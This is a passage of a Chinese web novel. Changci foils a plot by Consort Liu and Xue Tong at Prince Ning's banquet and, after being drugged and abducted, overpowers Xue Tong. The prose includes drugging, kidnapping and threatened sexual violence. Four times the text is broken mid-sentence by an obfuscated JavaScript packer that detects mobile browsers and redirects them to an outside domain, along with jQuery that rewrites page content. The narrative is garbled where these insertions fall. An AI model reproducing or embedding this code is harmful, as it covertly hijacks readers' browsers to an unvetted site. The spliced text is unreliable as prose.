她生着闷气,也不打算回客院梳洗打扮了,直接就往前殿设宴的方向走去,走着走着,倏而在一个偏僻院墙的拐角处看见两个人。 此时那两人正隐在一片竹林后头窃窃私语。 其中一个便是柳庭月那个传话的嬷嬷,另一个也十分眼熟,是在福来居见过的薛通那个侍卫。 长辞眯了眯眼,这两个人凑到一起……总不能是搞对象吧? 那还能是什么,肯定是一些个见不得人的勾当! 长辞扒在墙角,竖起耳朵听他们说话,那俩人声音都压得极低,她隐约听得那侍卫说什么将药粉混在酒水里,务必将她引到偏殿之类的。 这个“她”指的是谁?姜姐姐还是她自己? 长辞嗤笑一声,小把戏。见那两人说完话鬼鬼祟祟地各自离去,她又丝毫不在意地朝着大殿的方向走了。 穿过中庭,刚拐个弯走上通往前殿的回廊,就见姜云正站在枝缠树绕的道路尽头,正听旁边一个锦衣玉冠的男子说话。 那男子背对着长辞,看不清是什么神情,可姜姐姐的脸她倒是瞧得一清二楚。 疏离淡漠,冷眼旁观,仿佛对方说什么都与自己无关。 长辞不禁疑惑,姜姐姐待人向来和善,平日里对着下人说话也总是柔声柔气的,就连那个没事总找茬的瞿小宛都能得她三分笑意,却不知为何独独对这人没有好脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083248|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那男子估计也觉得自讨没趣,举止之间有些局促,不经意地看向别处。这一转身,倒叫长辞看清了他的模样。 心道这不是宁王么! 先前在石塔时,长辞光想着怎么逃脱偷去禁地的罪责了,也没什么心思注意宁王的长相,对他也是囫囵个地瞄了那么一下,这才没能一眼将其认出。 此刻仔细一打量,才发觉他和自己想象中的模样竟完全不同—— 私以为偏爱音律之人,该是琼姿皎皎,玉影翩翩,长着双桃花眼,一如春烟秋水的多情种。却不想他气度沉稳,形貌伟岸,不像谪仙,倒像个杀伐决断的武将。 实在是叫人生出一种割裂感。 正想着,就看见柳庭月端着个王府女主人的姿态缓缓走了过来,先是对着宁王盈盈一礼,而后面色平平地看向一侧的姜云。 “姜妃怎么穿成这样就出来了?” 宁王顺着她的目光看去,只见姜云一身中规中矩,虽不是新制的华裳,但端正得体,不艳不俗亦不抢眼,不是挺合适么。 心里如此想,嘴上却没说什么。 长辞一瞧,得!这有个没长嘴的,那她可得过去凑凑热闹了! “姜妃这是何意?”柳庭月脊背直挺,俨然一副公事公办的态度。 “你平日里穿葛穿麻穿什么都不打紧,可今日王爷难得在府中设一回宴,来往皆是京中贵胄,此事事关阖府上下的脸面,你却如此敷衍。我分明命人赶制了几套新衣裳送去让你挑,你却执意穿着旧衣前来,不就是想要打我的脸?” 柳庭月下巴微抬,满脸写着正义,“平日要是如此便也罢了,我断不会计较,可今日这场合你也要闹,是连王爷的脸面都不想顾了吗?” 这一番话说的如此得理,长辞都有点替她委屈了。 话一甫落,就听廊下传来慢条斯理的两手拍掌的声音。 “哎呀呀,此等殚精竭虑、为王府奉献己身的大义,实在是令人动容啊。”长辞虚虚抹了两把泪,表情夸张地看着宁王。 “王爷,我斗胆说句逾越之言,宁王府能有柳妃这般顾全大局毫无私欲之人,此乃王府之幸,昇州之幸啊!我提议,柳妃当坐宴席之首,王爷之侧!” 宁王一副“你谁啊,关你什么事”的眼神看向廊下之人,又仔细一回想,这才想起此人原是那个与慕怀交往甚密的娇滴滴姑娘。 既是慕怀的人,他也不好说什么,视线又转向了柳庭月。 柳庭月本就心里有鬼,就更不可能对着长辞说什么了,她是主母,自还有别的要紧事要忙活,虚虚行了礼便告退了。 她这一走,空气突然就宁静了下来,余下三人就这么不尴不尬地站着。 倏而四目相对。宁王凝视着姜云那双没什么情绪的双眸,淡淡道:“柳妃这人说话是直了些,但她本性不坏,你别跟她计较。” 姜云眼睫轻轻颤动了下,低下头轻声说,“无碍。” 宁王面露欣慰之色,阖府上下这么多女眷中也就姜云最识大体,最不会吵闹而且极好管教。 想罢又叮嘱了几句就预备离去。 这就算完了?!长辞瞪大了眼。姜云打算息事宁人,她可不干,她这人心里藏不住气,有气就得撒! 17. 第 17 章 眼见宁王要走,长辞翻过栏杆拦着他就道:“本性不坏?那你觉得怎么样才算是坏?” 接着冷笑一声,“你是没见她送去的那些衣裳吧,大红大紫,哪一件穿出来不跟女皇登基似的撩眼,汉时的金凤簪,前朝的金花胜,姜姐姐敢穿别人倒是也得敢看啊?” “逾不逾制先不说吧,就说那个乍眼夺目的花色和样式,不伦不类,这要是被哪个不顾伦理的好色之徒给盯上了,背地里唐突了蒋姐姐,怎么着,是你来担这个责还是她柳庭月担这个责?” 好色之徒是谁大家心知肚明,长辞也懒得明说! 宁王心说这丫头怎么还有两幅面孔,那日在慕怀跟前就娇娇弱弱的,怎么一对上旁人就跟只斗鸡似的,火力十足。 “行了,此事本王知晓了。”宁王看向姜云的神色有些复杂,欲言又止,最后还是什么都没说就离开了。 姜云盯着宁王离去的背影,扯了扯长辞袖口问,“哪里有汉时的金凤簪呀?” 长辞瞧她愣怔的模样,没忍住笑出了声,一眨眼道:“我懵他呢!” “啊?” “谁叫她柳庭月先来阴的!放心吧,宁王既然不会为了你去核实柳庭月都送了什么,自然也就不会为了柳庭月去核实我说的那些是真是假,不管他心里最终向着哪处,咱们可都不能白白让人给冤了!” 姜云嘴上虽不言,可毕竟有人为自己出了头,心里瞬时就舒坦了大半,与长辞说说笑笑往大殿的方向走。 庄慕怀大老远地就瞧见个机灵丫头手舞足蹈的,似乎在给一旁的姜云传授什么经验,姜云则是一脸重视地频频点头。 “呐,有事就得说,闷着哪行啊!”长辞挽着姜云的胳膊,“听不听得进那是他的事,说不说可就在你了,甭想那么多,为难谁也别为难自己呀。” 姜云瞧着眼前这个明媚张扬的姑娘,年龄上分明小了她好几岁,活得却比她通透多了。她好像永远都不会累,总是精神头十足的样子,不是在打听别人的热闹,就是在跟人打架逗嘴,想说什么便说,想做什么便做,简直畅快极了。 姜云规矩久了,偶尔也会羡慕这样恣意快活的人生。 “呦,小小年纪还挺好为人师,自己还没活明白就开始教别人大道理了?”庄慕怀从另一头走来,将手臂松松搁在长辞肩上,上杆子跑来逗她。 长辞“啪”一声打掉肩膀上那只爪子,朝他翻了个白眼,“我是小小年纪那你是什么,老老年纪?” 庄慕怀一摸下巴,“哪能啊,实话说我今年也二十,怎么样,是不是跟你很相配?” 懒得搭理他! 长辞跟在姜云后头往大殿走去,找了个不起眼的角落坐下。还没坐稳当,就见装不坏这家伙又黏了上来。 “谁又惹你了这是,怎么又不高兴了?” “没谁。” “说说呗,说了我替你去出气。” 长辞用脚尖撵走一只欲往桌腿上爬的蚂蚁,也不知道在跟谁碎碎念,“去去去,一边去。” 闻言那蚂蚁方向一转,急哄哄地就走了,看得庄慕怀哈哈大笑,下意识手又往她胳膊上搭,“奇了,连蚂蚁都知道怕母老虎啊?” 长辞掏出腰间短刀,“唰”地亮出锋利的刀刃,“再敢上手,就把你手砍了做成油焖猪脚。” 走在后面的张行简和江入年这才入殿,一进门就看见长辞正杀气腾腾地挥着刀鞘,而庄慕怀则是迅速地抽回了手。 两人忍不住用眼神埋怨,你说你好端端又惹她干什么? 庄慕怀做了个口型,“好玩。” 这时夜宴开始,众人寒暄的,玩闹的,都回了自己的席位。庄慕怀是王府贵客,自然坐在宁王下首,张行简他们则是都识趣地拣了个偏位坐下。 这种宴会向来没什么意思,长辞兴味索然,听宁王说着场面话,听完宁王听柳妃,听完柳妃,这些宾客又拱着手互相恭维了起来。 她把下巴搁在案几上,伸脖子啃了一口盘中的牛肉,边嚼边看眼前这群虚与委蛇的人。 看着他们此刻觥筹交错彬彬有礼的模样,长辞仿佛就能想到日后大敖山相见时,这些人将如何地面目狰狞,判若两人。 轻盈长袖的舞女们一曲舞罢,乐师又奏响箜篌。 这时,婢女们端着酒壶上来给宾客添酒。 柳庭月状似不经意间朝这头瞥了一眼,长辞眉眼一动,晃了晃手中的玉盏,心道这是要来了么! 正专心布菜的姜云忽见长辞坐直了身子,一副跃跃欲试的姿态,不由轻笑,“你这么喜欢喝酒呀?我院子里还有埋了好几年的瓮头春,回头拿给你喝。” 长辞笑眯眯地应下。 酒上二巡,众宾客齐齐回敬宁王与两位侧妃。 姜云端起酒盏,随之一饮而尽。长辞看过了,姜姐姐眼前那杯酒并没有问题,有问题的是自己手里这杯。 她将玉盏拿在手里把玩,饶有兴趣地看了柳庭月一眼,恰巧柳庭月也正在看她。两厢对视,长辞歪着脑袋故意冲她甜甜一笑。 前座的庄慕怀看见她笑,眼皮不由得跳了几下,这丫头又想干嘛? 柳庭月目光闪躲了一瞬,随即又恢复了常态,笑意盈盈地端起酒杯看向池中舞姬。 一曲舞罢,不知是谁说了句,“南国有佳人,轻盈绿腰舞。这不就是唐时闻名于世的绿腰舞嘛,今日得见,幸哉幸哉!” 此话一出,其余众人也都目光灼灼地去看那轻盈柔媚的舞姬,一时畅谈纷纷。 坐在庄慕怀对面的薛通端起酒壶,仰头一饮而尽。而后轻佻地随众人一同向池中望去,难得地没对舞姬产生非分之想,却是猥琐笑道: “诸位不知,薛某有幸曾在几年前见过此舞。” 姜云睫毛一颤,放在案下的手不自觉攥成拳头。 他摇头晃脑,也不知是真醉还是假醉,“那可是由上一任郓州节度使的嫡女当众所舞,那身段跟姿态……可都远在今日这小娘子之上!” “谁啊?” “是谁啊?” “上一任郓州节度使?” “那不、不就是……” 有些人反应迟缓,已是脱口而出,“那不就是宁王府侧妃姜氏……” 张行简与江入年纷纷蹙眉,这薛通也太无法无天了吧,这里可是宁王府!他竟敢公开调戏王府女眷! 大殿霎时鸦雀无声,有低头装聋作哑的,亦有胆大看向上座的。宁王漆黑如墨的眼眸一沉,尚未开口,却是压迫感十足。 薛通一个激灵酒醒了大半,倏而一撂杯盏,“噗通”一声跪倒在地,赶忙回话。 “下官醉酒失言,醉酒失言,一时冲撞了侧妃娘娘,还望王爷念下官并非有意,饶下官一命吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083249|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气虽恳切,惶恐之色却不足,长辞看得亦真亦假。 宁王薄唇未启,却是柳庭月先开了口,“快,快来人给薛大人上一碗醒酒汤。大人这是吃醉了酒,在这儿说胡话呢。” 又道:“王爷切勿动怒,此事说来也怪妾身,妾身见今儿个新朋旧友欢聚一堂着实高兴,便将这宴席之酒选得烈了些,没成想好酒办坏事,倒实实误了薛大人。” 她举手投足落落大方,话说得实心实意,“今日这宴席由妾身一手操办,便由妾身一人负责,妾身给王爷和薛大人赔个不是,还请王爷责罚。” 此话一出,凝固了片刻的气氛倏忽就这么松动了,在座列位无一不投去赞赏的目光,在底下窃窃私语,这宁王府柳妃果真非同反响,三言两语就化解了尴尬。 此一举看似是在替薛通求情,熟不知亦是给宁王个台阶下。世上谁人不知薛通来头之大,宁王若罚的重了,便是与太后过不去,太后本就不喜宁王,以后怕是要恨上了。 可若此事轻描淡写地揭过,又会显得宁王懦弱无能,颜面扫地。 现在好了,柳庭月这么一插手,事情反而圆融了起来。 宁王自然也看得出柳妃之意是在为自己解围,视线扫过下众,丝毫未提责罚之事,而是挥袖一笑,“来,接着饮酒!” 众人心头一松,正要继续碰杯,却听得角落传来一道响亮的声音,往过一瞧,见一个面生的姑娘站起身子。 “柳妃好像忘了一件事情。” 柳庭月转过身,端着矜贵的笑意,“哦?长辞姑娘请讲。” “你怕是忘了给姜妃赔个不是了,都怪你操办不利,才让条疯狗在大殿上狂吠,误伤了姜姐姐。” 这话可真是够直白了!众宾客倒吸一口凉气,心道这人谁啊,连薛大人都敢惹! 宁王微微蹙眉,眼神示意庄慕怀。 庄慕怀却丝毫不以为意,全然一副神游九霄之外的姿态,醉醺醺地喝着他的小酒,对殿上发生之事一点兴趣都没有。 柳庭月短暂的不可思议之后,迅速恢复了神志,颔首笑道:“确实该给姜妃妹妹赔个不是。” 她嘴上笑着,眼里却尽是敷衍之色,“不过姜妃向来大度容人,想来是不会计较薛大人的无心之言,再说这绿腰舞本就难度极高,练成极为不易,既有人夸,也是对姜妃舞姿的一种认可,她该高兴才……” 话还没说完,就听“啪”一声,一只玉盏毫无预兆地朝柳庭月脚下砸去,吓得她当堂尖叫出声,花容失色。 庄慕怀眼皮一跳,暗叹,这疯丫头! 众人皆是屏气凝神,大气也不敢出,都在等着上座的宁王发话。 宁王也懵了,心说慕怀家这小姑娘是不是脑子有点不太正常,一会儿爬树一会儿又摔东西的,要不要请个郎中来给她看看? 正想着,就见那姑娘抱臂上前,上下打量柳妃。 “啧啧,我觉得你胯粗腰圆屁股大,定是个好生养的。呐,现在也有人夸你了,你是不是也很高兴呀?” 江入年刚喝了一口茶,闻言“噗”一声就喷了出来,喷了张行简半张脸。 张行简:“……” “你!”饶是柳庭月向来稳重自持,此刻也有些撑不住了,垂落在身侧的手止不住地发抖。 场面一度死寂,在座宾客有人惊愕,有人表情耐人寻味。 18. 第 18 章 柳庭月到底是汴京出来的贵女,硬是生生压下了心中怒火,维持着本该有的体面,低头看了眼已碎成渣的玉盏,平静道: “长辞姑娘对妾身有什么不满直说便是,无端摔东西又是何意?” 众人齐刷刷地看过来,只见那姑娘跳到庄慕怀身后,扯过他的胳膊挡着自己,“哎呀你误会了,是我方才看见酒盏上有一条好大好恶心的大青虫,实在是被吓到了……” 众人又齐刷刷看向自己的杯盏,检查了一圈见什么都没有这才放了心。 庄慕怀已经习惯了时不时被她拿来当工具用,配合地拍了拍她肩膀,一点不走心地安慰,“不怕,不怕。” “可是人家方才真的快要吓死了,那虫子就爬在杯沿上,吓得我魂儿都快没了,慕怀哥哥,我觉得有人要害我!” 谁还能害得了你? 庄慕怀没在意,柳庭月听了倒是眼皮直跳,难道她发觉了?可玉盏都碎了,酒也洒了,她还能怎么怀疑自己?这么一想又放了心。 宁王这下算是确信了,慕怀家这姑娘真的有病,而且极有可能是臆想症一类…… 庄慕怀不懂为何宁王突然对自己投来怜悯的目光,挠了挠头,一头雾水地回他了个眼神。宁王点头示意他放心。 庄慕怀更不解了,叫我放心是什么意思? 一众人各怀心事,半晌,还是宁王打破了这场寂静。 “长辞姑娘既然受了惊吓,又打翻茶盏烫伤手臂,不如先去偏殿歇息片刻,本王这就命人去请大夫来给姑娘瞧瞧伤势,府里有上好的金疮药,一并让人送去偏殿。” “此外,这宴席乃柳妃所备,如今出了事她自然难逃其咎,长辞姑娘请安心,本王定会给你一个满意的交代。” 既然宁王都如此说了,宾客们也不好继续看热闹,乐舞一起,又热热闹闹地碰起杯盏来。 玉盏已碎,谁知道有没有什么大青虫,柳庭月是个聪明人,她也知道死无对证此刻闹起来不好看,只能咽下这口气。 不过歪打正着,她原本就是要引长辞到偏殿,这下更是可以顺水推舟,柳庭月善解人意道: “王爷说的有理,还请姑娘先行到偏殿歇着吧,偏殿安静,也好压压惊。” 长辞正要看她跟薛通葫芦里卖的什么药,想都没想就应下了。 “我陪你?”庄慕怀低语。 长辞拍拍他肩膀,“你还是在这儿陪酒吧。” “……” 一旁的姜云也有些担忧,“阿辞,不如我……” 话没说完就被长辞一把按了下来,“你千万别去,这事儿我应付得过来,姜姐姐去了反倒坏事。” 姜云知道长辞武功不低,即便有人动了什么心思,那些侍卫也都不是她的对手,看她如此执拗,大殿人多,她也不好再说什么。 …… 此刻,偌大的偏殿空无一人。 长辞若无其事地在屋里瞎转悠,摸摸这个,碰碰那个,一个人待着还算自在。待赏够了花草古董,还不见有人来,就慢悠悠走到窗户跟前,一掌推开那扇雕花窗。 眼尾瞥到窗根下蹲着的几个黑衣人时,长辞没忍住“噗嗤”一声笑了出来。 案几上的铜香炉里熏着香,长长一柱白烟直直往上,长辞打了个哈欠,闻出来这里面夹杂了少许的海棠醉,这是一种药力偏弱的迷香,味道很淡,一般人不容易察觉。 她“啧啧”摇头,坐下来给自己斟了盏茶,这种没什么威力的香她十岁就不玩了。 不过转念一想,薛通那变态用海棠醉也不一定就是不懂香,估摸着是怕用量过猛,自己被熏得彻底晕死过去就不那么好玩了,故而才选了海棠醉,而且还只放了一半的剂量。 思忖着时间差不多了,长辞拢了拢袖口,趴在桌案上佯装昏睡了过去。 果然如她所料,没一会儿的功夫,窗下那几个黑衣人就从窗户翻进寝殿,利落地将她手脚捆起来,长辞竖起耳朵,听其中一个人道: “动作快些!这药只下了一个时辰的量,可别耽误了薛大人好事。” 另外两人点头称是,将她扔在麻袋里快步扛了出去。 长辞能感觉出他们既没走偏门也没走后门,而是翻墙而出,混乱中自己被人用力一甩,从墙内甩了出去,摔在了马车的软茵上,摔得她骨头生疼。 又不知颠簸了多久,长辞胃里的隔夜饭都要被晃得吐出来了,马车这才停了下来。 她想到小乞丐说的城外庄子,心里明白过来,料想这便是已经出了城了。 几人齐手将自己抬到了一间屋子,撤了麻袋,就那么直直地给她扔在了一堆干草上,接着便退了出去。 院门“吱嘎”一声从外面关上,周遭瞬间安静了下来。 长辞这才睁开眼打量四周。 这里约莫是个废置庄子上的小院,她所在的屋子估计是用来堆砌杂物的。一边角落里堆着干草和柴火,另一边是半袋子牲口饲料和一些生了锈的农具。 屋子中间摆放着一张宽大的桌子,桌上放着铐手脚用的铁链子,麻绳和几枚长长的银针,还有一支泛着黄光的蜡烛,那烛光被窗口灌进来的风吹得忽明忽灭,映在房梁的蜘蛛网也随之一明一暗。 此情此景,若是换上普通闺阁女子,怕是早就吓得魂飞魄散了。 长辞却心情还算不错地拾起身子,双脚一勾,缚着腿脚的绳子就解开了,手上的麻绳她倒是没着急解,而是走到靠院子一侧的窗边。 这破落的窗柩只剩几根光秃秃的木条,从这里看出去,院外的景象一览无遗。长辞发现此地极为偏僻,四周黑漆漆一片,方圆几里都没有别的人家。 找这么个地方,看来是打算让她过会儿叫天天不应叫地地不灵了。 与此同时,宁王府的夜宴上正载歌载舞,薛通借着不胜酒力悄然离开了宴席。 庄慕怀被宁王扯着袖子灌了能有半壶酒,喝了酒还不算,宁王又借着酒劲儿亲自奏乐作赋,让庄慕怀舞剑。众人齐声起哄,庄慕怀自小与宁王交好,到底是不能拂了他的面子,执剑起舞。 舞到一半,这才察觉到薛通不知何时已不在殿上。 便收了剑准备离席,谁知刚起身就被醉醺醺的众人给拦下了,这些人看得正入迷,自然不肯放他离开,大名鼎鼎的庄公子舞剑,世上能有几人有这般眼福。 庄慕怀起先看在宁王的面子上还好言好语地应付了几句,谁知这群人蹬鼻子上脸,拦着他便道:“哎呀,庄公子莫走,莫走,这才酒过三巡,正是酣畅之时……” 柳庭月顺势笑道:“是啊,诸位今日兴致正浓,庄公子何不与在座一起把酒言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083250|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢……” 话音未落,只见庄慕怀黑眸一暗,执起手中的剑就往房梁上那么一掷,霎那间绕在四周长柱上的维帐便悉数砸了下来,铺天盖地落在那群人头上。 场面一时有些混乱,众人这才回过神来,同席一起喝酒的可是庄慕怀那个疯子! 庄慕怀还算是给宁王面子,没一怒之下踹了哪个不长眼的。 柳庭月脸上青一阵紫一阵,方才被长辞言语侮辱,这会儿又被庄慕怀毁了夜宴精心的布置,她何时被人如此下过面子,顿时就有些站不住了,看向庄慕怀的眼神有些许幽怨。 庄慕怀才懒得管她什么眼神,他心中有些不安,一出大殿就唤了守门的侍卫和婢女盘问。 几人都说是薛大人有些吃醉酒了,去了东侧的偏殿歇息。 可他前去一看,偏殿哪还有半个人影,不仅这处没有,就连长辞所在的西殿也空无一人。 “里面的人去哪儿了?”庄慕怀没什么表情道。 他饮了酒本身眼尾就有些发红,此刻又冷着脸语气里满是压迫,与平常大不相同,吓得那西殿的婢女跪在地上瑟瑟发抖。 带着哭腔道:“奴婢不知,奴婢真的不知,带那位姑娘来的嬷嬷说,奴婢只管侍候在门外便是,不必进屋,省得扰了姑娘清静,奴婢、奴婢就一直候在外面,并没有听见里面有什么动静。” 柳庭月的嬷嬷? 稍一思索,庄慕怀就猜出来是怎么一回事了,心道长辞这丫头果真是胆子大得没边,为了教训薛通竟敢以身作饵! 她也是真不怕…… 罢了,先找到人再说。他跟江入年对视了一眼,江入年会意,即刻跑了出去。 庄慕怀飞身上了屋檐,在王府四处绕了一圈,也没见着长辞半点踪迹。无奈又绕回了偏殿,这里是她失踪的起点,说不准会找到什么线索。 大殿里。 一众人脸上皆有了醉意,席上便也不再拘泥于尊卑,开始三三两两地玩闹起来,不胜酒力的都陆陆续续离了席。 这时,姜云和张行简一前一后走了出来。 姜云见庄慕怀正立在偏殿门口跟侍卫说什么,疾步走来,往偏殿里望了望,没见着长辞的人,一时也顾不得礼数,直接问道:“庄公子可曾见过阿辞?” 因着张行简也在此处,庄慕怀便没说实话,他那个较真的性子要是知晓此事,必然是要连夜去报官的,可若是官府插了手,扫了宁王脸面不说,还极有可能叫薛通倒打一耙,局面反倒对长辞不利。 于是“哦”了一声,语气淡淡,“那丫头不胜酒力有些乏累,方才江入年陪着她一起回了寝院,此刻多半是已经歇下了。” “那便好。”姜云总算放了心。有外男在此,她也不便多作停留,虚虚颔首道了声谢便离开了。 张行简见没什么事也回院子去了。他前脚刚走,江入年后脚就气喘吁吁地跑来了。 “问了各处门房,都说没见着有什么姑娘出门,不过可以确定,薛通是一刻钟前离府的,走的正门。” “往哪个方向去了?” “北面。” 福来居在东边,明春坊等一干青楼在南边,他去北面干什么?北边住的都是些平民百姓,此刻商肆已关,而再往北,就只有城…… 等等,难道是出城去了?! 19. 第 19 章 “这女人还真是个麻烦精。” 庄慕怀叹了口气,出王府向门房要了两匹快马,跟江入年疾色匆匆往城门口的方向赶去。 “哥,都这会儿了,城门已经关闭了吧?” 两人行至城门口一看,江入年这乌鸦嘴,还真是! “那怎么办?” “翻墙。” 江入年盯着几丈高的城墙咽了口唾沫,这怎么翻?正要扭头说话,却见庄慕怀脚尖一点飞上树梢,接着是塔台,再一借力,轻轻松松上了城墙。 “哥,我怎么办呐!”江入年焦急地原地打转儿。 “你钻狗洞。” “……” 此时,薛通乘坐马车已经到了庄子。 他被人搀扶着下了车,双眼冒着精光,盯着院门的眼神既兴奋又仇恨,下意识摸了把肩上的伤口,暗骂一声:“小蹄子!” 今晚终于被他给逮到了,看他怎么折磨这小贱人! “吩咐下去,所有人全部退至两里地外,别扫了本大爷的兴。” 侍卫道:“大人,这女人身上有功夫……” “功夫?”薛通□□两声,“只怕那小东西现下已是内力全无,只剩下服侍男人的功夫了,哈哈哈。” 那侍卫没再说什么,面无表情地带着人退了出去。 长辞听了这话简直恶心地想呕,生生忍了下来。此时,外面一连串脚步声渐行渐远,紧接着是锁孔转动的声音,只听“咔哒”一声,院门开了,而后一个沉重的脚步越来越近,直至屋门被打开。 “小美人,又见面了。” 薛通满脸横肉,佯装有礼地拱了拱手。而后坐在桌前,捞起一旁的酒坛子先给自己斟了一大碗,看这慢条斯理的样子是打算今晚慢慢折磨她了。 “怎么着,自己把缚脚的绳索解开了?”薛通正要干了这碗酒,余光冷不丁瞥到干草堆上那女人,不禁疑惑,他手底下那俩狗东西别的不说,绑人的手法却是有的,至今还没见过谁能自个儿解开这绳索。 “脚勒得太紧,有些疼,我求着外面的黑衣大哥帮忙解开了。”长辞语气平平,既看不出惧怕,也看不出厌恶之色。 “不错,有点本事!”薛通一掌拍向桌子,眼神里带了点钦佩和欣喜,干了那碗酒,一抹嘴道: “如今你的脚是不疼了,可惜那个蠢侍卫却要因你而死了。” “你知道是哪个?” “不知道。”薛通语气裹着森森寒意,“不知道那就把他们全都杀了,然后再买一批新的。” 长辞冷笑一声。 “小美人,你大晚上被抓到此处,怎么一点都不害怕?”薛通是疑问也是试探,毕竟那夜在福来居她的刀如此之快,快到令人生畏。 瞧她那副不惊不惧的模样,可别是柳庭月那娘们儿药没下到位,这贱人的内力尚在吧? “怕什么?醉海棠又闻不死人。”长辞淡淡道。 听罢薛通心下一喜,原来她并不知道那铜香炉里还有一味可叫人短时间内内力尽失的熏香,薛通立刻得意了起来,说话也跟着轻佻了几分。 “醉海棠是死不了人,可本大爷却能将你服侍得□□,哈哈哈哈哈。” 忍着一刀捅死他的冲动,长辞闭了闭眼,耐着性子问:“你答应了柳庭月什么条件,让她肯为你担这个风险?” 从王府里劫人,胆子还真大! “嘘,这可不是你该问的……”薛通眯起眼看她,这小娘们真是奇了,自己都成了阶下囚,还有心思问这些有的没的。 “我内力尽失,如今已是你囊中之物,所问之事不过是想在死前求个明白罢了,你在担心什么?” “你知道自己内力已失?”薛通略微讶异。 “为何不知?”长辞无辜一笑。 “那你怎敢……” 薛通总觉得哪里有点不得劲,明明是他下的药,绑的人,按理说他才是那个拿捏和主导的,这女人应该跪地求饶,惊恐万状才对,怎的倒被她牵着鼻子走了? 自己反倒有些惴惴不安。 长辞猜出他心里在想什么,索性直言,“我知道落在你手里没什么好下场,求饶不过是徒劳之举,索性直接省了那个步骤,我现在只想知道是不是柳庭月要害我,唉,人之将死,总不能死不瞑目吧。” 看他无动于衷,又激他道:“薛大人,你害怕什么?我是个连明早的太阳都见不上的人,您不至于是怕鬼魂吧?” “通透,姑娘果然通透。”薛通将方才升起的那抹不安抛置脑后,起身走到她跟前,赞许地拍了拍手掌。忽然还有那么一丁点舍不得让这小妮子死了,心里思索着要不然将其豢养起来,当个小玩意儿如何? “你不是想知道我用什么跟柳庭月做的交换吗?”他蹲下来嘿嘿一笑,捏了捏长辞脸颊,被她一躲也丝毫不气,而是笑着道: “我答应她今晚若能将你弄到手,明日一早就满城宣传,说我薛大公子什么美人没得过,便是那宁王府姜侧妃的身子,看也看过,摸也摸过。” 长辞静得出奇,“你就不怕宁王要你的命?” “坊间传言又没有真凭实据,他宁王凭何置我?”薛通起身背对着她,“小美人还是不了解男人,为个娘们儿,伤了和气不值当。” 不知想到了什么,他忽而又笑得十分狰狞,“你信不信,我就是真将那姜侧妃弄到了手,宁王他也不敢将我如何?” “说起来,我倒是有点悔了……” 薛通浑浊的双眼里满是令人作呕的色欲,“我就应该将那姓姜的娘们一并拐来,既能给你作伴,也能提前让你瞧着,这已经人事的贵夫人在红帐之事上是有多么销魂,你见了过后保管能……” 话还没说完,他眼前突然就划过一柄锋利的尖刀,擦着脸颊削掉了他半边头发。 薛通上手往脸上一摸,湿热湿热的,是、是……血! 再看那人,上一刻还好好地坐在草堆上,这一刻手里却多出一把刀来,原本结结实实绑在手上的麻绳也不知何时不见了。 “小蹄子!你找死!” 薛通知道这人不好对付,估计内力还在,便打起了十二分的精神,扑过来就要夺她手里的利器。 长辞抬腿就是一脚,这一脚可谓是用了十成的力气,将压抑了半晌的怒气全部撒了出去。 只听“咚”一声,薛通重重摔在柴火上,成堆的柴火顷刻便“哗啦啦”散了一地,连墙上的灰粉都震掉下来许多。 薛通疼得连吐好几口瘀血,眼前直冒金星,这厢还没缓过劲儿来,又猝然被桌上那捆粗壮的麻绳给死死套住了。 长辞将麻绳一头用力一抛,那绳子绕梁而过,再一扯,绳索缚住的人便如同落网的猎物一般被拦腰被高高吊起。 见他在半空中红着脖子来回挣扎,越挣绳索缚的越紧,长辞终于气顺了些。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083251|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么,你手下的人只管绑人,却没教你如何解开这绳扣吗?” 说着一脚踢翻他坐过的凳子,坐在长桌一角,笑嘻嘻地看向上空,“原本想好好问完了话再宰你,谁叫你这么不听话,偏要学那些两眼一翻不懂人话的畜生……” “唉。”她皱眉苦恼,“这下坏了,我好像有点生气了……你可能还不知道,我生气的时候一定要见血才肯罢休,不如这样吧,你自断一臂可好?没准儿我看见你那只血肉模糊的断臂,一兴奋就消气了呢。” 